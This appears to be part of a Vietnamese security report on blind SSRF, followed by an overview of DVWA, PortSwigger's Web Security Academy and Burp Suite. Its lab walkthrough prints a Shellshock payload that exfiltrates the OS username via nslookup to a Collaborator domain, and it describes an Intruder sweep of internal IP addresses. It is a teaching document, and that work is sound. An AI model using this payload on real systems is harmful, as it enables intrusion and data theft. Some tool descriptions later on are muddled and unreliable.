Cách hiệu quả nhất để phát hiện lỗ hổng SSRF mù là áp dụng các kỹ thuật ngoài băng tần (OAST) Phương pháp này bao gồm việc tạo yêu cầu HTTP tới một hệ thống bên ngoài mà bạn kiểm soát, đồng thời theo dõi các tương tác mạng với hệ thống đó.

2.4.3.1SSRF mù với tính năng phát hiện ngoài băng tần

Việc xác định lỗ hổng SSRF mù chỉ cho phép gửi yêu cầu HTTP ra ngoài băng tần mà không cung cấp thông tin về phản hồi, do đó không thể khai thác để xem nội dung trên các hệ thống mà máy chủ ứng dụng có thể truy cập Tuy nhiên, lỗ hổng này vẫn có thể được sử dụng để thăm dò các lỗ hổng khác trên máy chủ hoặc các hệ thống phụ trợ khác Bằng cách quét mù mờ không gian địa chỉ IP nội bộ và gửi các tải trọng thiết kế để phát hiện lỗ hổng phổ biến, có khả năng phát hiện ra các lỗ hổng nghiêm trọng trên máy chủ nội bộ chưa được vá nếu các tải trọng đó áp dụng các kỹ thuật ngoài băng tần mù.

1 Truy cập một sản phẩm trên trang chính, chặn yêu cầu trong Burp Suite và gửi yêu cầu đó tới Burp Repeater.

2 Chuyển đến tab Repeater Chọn vào Header, nhấp chuột phải và chọn "Insert Collaborator Payload" để thay thế miền ban đầu bằng miền do Burp Collaborator tạo ra Gửi yêu cầu.

Hình 2 17 Thay đổi miền do Burp Collaborator cung cấp

3 Chuyển đến tab Collaborator và nhấp vào "Poll now" Nếu bạn không thấy bất kỳ tương tác nào được liệt kê, hãy đợi vài giây và thử lại vì lệnh phía máy chủ được thực thi không đồng bộ.

4 Bạn sẽ thấy một số tương tác DNS và HTTP bắt đầu do tải trọng của bạn tiêm vào.

Hình 2 18 DNS và HTTP tương tác do tải trong tiêm vào 2.4.3.2SSRF mù với khai thác Shellshock

Kẻ tấn công có thể lợi dụng chức năng phân tích URL trong heading khi trang sản phẩm được tải để thực hiện cuộc tấn công SSRF mù nhằm vào máy chủ nội bộ trong dải địa chỉ 192.168.0.X trên cổng 8080 Trong cuộc tấn công này, chúng sử dụng tải trọng Shellshock để lọc tên người dùng hệ điều hành từ máy chủ nội bộ.

1 Mở chặn trong Burp Suite và duyệt trang web

Quan sát rằng khi bạn tải một trang sản phẩm, nó sẽ kích hoạt tương tác HTTP vớiBurp Collaborator, thông qua referer header.

Hình 2 19 Kích hoạt tương tác giữa HTTP và Burp Collaborator

2 Quan sát rằng tương tác HTTP có chứa chuỗi Tác nhân người dùng trong yêu cầu HTTP.

3 Gửi yêu cầu trang sản phẩm tới Burp Intruder.

Chuyển đến tab Burp Collaborator và tạo tải trọng Burp Collaborator duy nhất Đặt vào tải trọng Shellshock:

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

Thay thế chuỗi Tác nhân người dùng trong yêu cầu Burp Intruder bằng tải trọng Shellshock chứa miền Cộng tác viên của bạn.

Nhấp vào "Xóa §", thay đổi tiêu đề header thành http://192.168.0.1:8080 sau đó đánh dấu octet cuối cùng của địa chỉ IP (số 1), nhấp vào "Thêm §".

Chuyển sang tab Tải trọng, thay đổi loại tải trọng thành Số và nhập 1, 255 và 1 vào hộp "from", "to" và "step" tương ứng.

Hình 2 20 Thao tác với Burp Intruder

Sau khi cuộc tấn công kết thúc, hãy quay lại tab Burp Collaborator và nhấp vào "Poll now" Nếu không thấy bất kỳ tương tác nào, hãy chờ vài giây và thử lại do lệnh từ máy chủ được thực thi không đồng bộ Bạn sẽ thấy tương tác DNS được khởi tạo bởi hệ thống bị tấn công thông qua lỗ hổng SSRF mù Tên người dùng hệ điều hành sẽ hiển thị trong tên miền phụ DNS.

Kết quả: chúng ta sẽ có được tên người dùng sử dụng hệ điều hành trên

Hình 2 21 Tên người dùng sử dụng là peter

Triển khai thực nghiệm

Giới thiệu Website và công cụ BurpSuite để thực hiện tấn công

3.1.1 Giới thiệu triển khai Website

Thực hiện triển khai tấn công trên 2 Web gồm:

• Web mã nguồn mở DVWA.

• Web security academy.net của PostSwigger

3.1.2 Tổng quản cơ bản về DVWA

Damn Vulnerable Web Application (DVWA) là một ứng dụng mã nguồn mở PHP/MySQL, tích hợp nhiều lỗi bảo mật logic trong mã nguồn, nhằm giúp người dùng hiểu rõ hơn về an ninh ứng dụng web DVWA được thiết kế để tạo ra một môi trường thực hành hợp pháp cho việc hacking và pentesting, hỗ trợ các nhà phát triển nâng cao kỹ năng lập trình an toàn Ngoài ra, DVWA còn cung cấp cho giáo viên và học sinh các phương pháp học tập và thực hành tấn công khai thác lỗi bảo mật từ cơ bản đến nâng cao.

Dự án DVWA, ra đời vào tháng 12/2008, đã nhanh chóng trở thành một công cụ phổ biến trong giới học sinh và lập trình viên tìm kiếm mã nguồn để thực hành hacking Tuy nhiên, trong những năm gần đây, DVWA không còn phát triển thêm nhiều nội dung lỗ hổng bảo mật hấp dẫn.

DVWA là ứng dụng mã nguồn mở được phát triển bằng PHP và sử dụng cơ sở dữ liệu MySQL, cho phép người dùng cài đặt dịch vụ XAMPP trên cả hệ điều hành Linux và Windows để tạo môi trường thực hành một cách nhanh chóng.

3.1.2.3Các lổ hổng trong DVWA

Khi thực hành với DVWA, sẽ có những nhóm lổ hổng bảo mật như sau:

 Cross Sute Request Forgery (CSRF)

3.1.2.4Các mức độ bảo mật trong DVWA

DVWA cung cấp 3 mức độ bảo mật tướng 3 Lever để thực hành từ dễ cho đến khó gồm:

 High: Lever này gần như là lever dùng để so sánh mã nguồn có lổ hổng ở mực

Mức độ ‘Low’ và ‘Medium’ trong mã nguồn đã được tối ưu hóa để đảm bảo an toàn bảo mật Trong khi đó, mức độ ‘High’ được đánh giá là có khả năng bao quát nhiều lỗ hổng trong nhóm mục mà bạn đang thực hành.

Mức độ Medium cung cấp nội dung code đã được sửa lỗi cơ bản ở hạng mục mức ‘Low’ Tuy nhiên, vẫn có khả năng khai thác thêm các lỗ hổng khác.

Hình 3 3 Giao diện mã nguồn mở DVWAHình 3 2 Giao diện nguồn mở DVWA

Mức độ bảo mật 'Low' trong DVWA thể hiện mức độ thấp nhất, nơi mã nguồn PHP gần như lộ rõ các lỗ hổng do thiếu sự chú trọng đến bảo mật trong lập trình Mỗi trang thực hành bảo mật đều có nút 'View source', cho phép người dùng xem mã nguồn của từng mức bảo mật Từ đó, bạn có thể so sánh và đánh giá lý do tại sao mã nguồn này lại có những lỗ hổng bảo mật rõ rệt.

Hình 3 3 Hệ thống bảo mật DVWA

3.1.3 Tổng quản cơ bản về Web security academy.net của PostSwigger

Web Security Academy.net is a free online training platform focused on web application security, featuring content developed by the PortSwigger internal team.

Không như những trang web khác, Web security academy.net được cập nhật liên tục.

Nó cũng bao gồm các phòng thí nghiệm tương tác, nơi có thể đưa những giù học được vào bào kiểm tra.

Sự phát triển nhanh chóng của Internet mang đến nhiều mối đe dọa bảo mật, buộc các quản trị viên web phải thực hiện các biện pháp kiểm thử để nâng cao bảo mật cho website của họ.

3.1.4.1Khái niệm cơ bản về BurpSuite

Burp Suite là bộ công cụ kiểm thử bảo mật cho ứng dụng web, được phát triển bởi Portswigger trên nền tảng Java Công cụ này tích hợp nhiều tính năng hữu ích nhằm hỗ trợ việc kiểm tra và bảo vệ an toàn cho các ứng dụng web.

DVWA là một hệ thống mã nguồn mở tích hợp nhiều tính năng kiểm thử trong một công cụ duy nhất Hệ thống này có khả năng mở rộng và nâng cấp thông qua các add-ons, được gọi là BApps, giúp người dùng tùy chỉnh và cải thiện trải nghiệm kiểm thử.

Burp Suite là công cụ hàng đầu cho các nhà nghiên cứu bảo mật và thợ săn tiền thưởng nhờ khả năng phát hiện lỗi trong ứng dụng web Với tính năng dễ sử dụng, Burp Suite vượt trội hơn so với các công cụ miễn phí tương tự như OWASP ZAP, làm cho nó trở thành lựa chọn ưu việt trong lĩnh vực bảo mật.

3.1.4.2 Những lý do nên dùng công cụ BurpSuite

3.1.4.2.1 Đa dạng tính năng, công cụ

Burp Suite là một bộ công cụ đa dạng với nhiều tính năng đáp ứng nhu cầu kiểm thử trong mọi môi trường Các công cụ này có khả năng làm việc phối hợp, giúp giảm thiểu khả năng phát hiện sai lỗ hổng (dương tính giả) và thiếu sót trong việc phát hiện lỗ hổng (âm tính giả) Một điểm quan trọng khác là tất cả các công cụ đều được tích hợp trong một giao diện duy nhất, mang lại sự dễ dàng và tiện lợi cho người sử dụng, tránh việc phải quản lý nhiều cửa sổ khác nhau.

3.1.4.2.2 Hỗ trợ nhiều phương thức quét

Burp Suite nổi bật so với các công cụ tương đương nhờ khả năng hỗ trợ cả quét thủ công và tự động, giúp phân tích và phát hiện lỗ hổng một cách sâu sắc Việc cho phép can thiệp thủ công rất quan trọng, vì các phương thức tự động không hoàn hảo và có thể bỏ sót nhiều lỗ hổng.

Burp Suite nổi bật với khả năng giả lập tấn công và quét nhanh chóng các trang web Công cụ này cho phép người dùng lựa chọn tấn công một số trang cụ thể từ kết quả quét, giúp tối ưu hóa mục tiêu và tiết kiệm thời gian trong quá trình tấn công.

3.1.4.2.4 Cho phép chỉnh sửa lưu lượng web

Burp Suite nổi bật với khả năng theo dõi và can thiệp vào từng yêu cầu trong lưu lượng kết nối đến ứng dụng web Người dùng có thể điều chỉnh đường đi hoặc chuyển tiếp các yêu cầu sau khi đã chỉnh sửa, nhằm phục vụ cho mục đích kiểm thử cụ thể.

Ngày đăng: 12/12/2023, 19:45

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w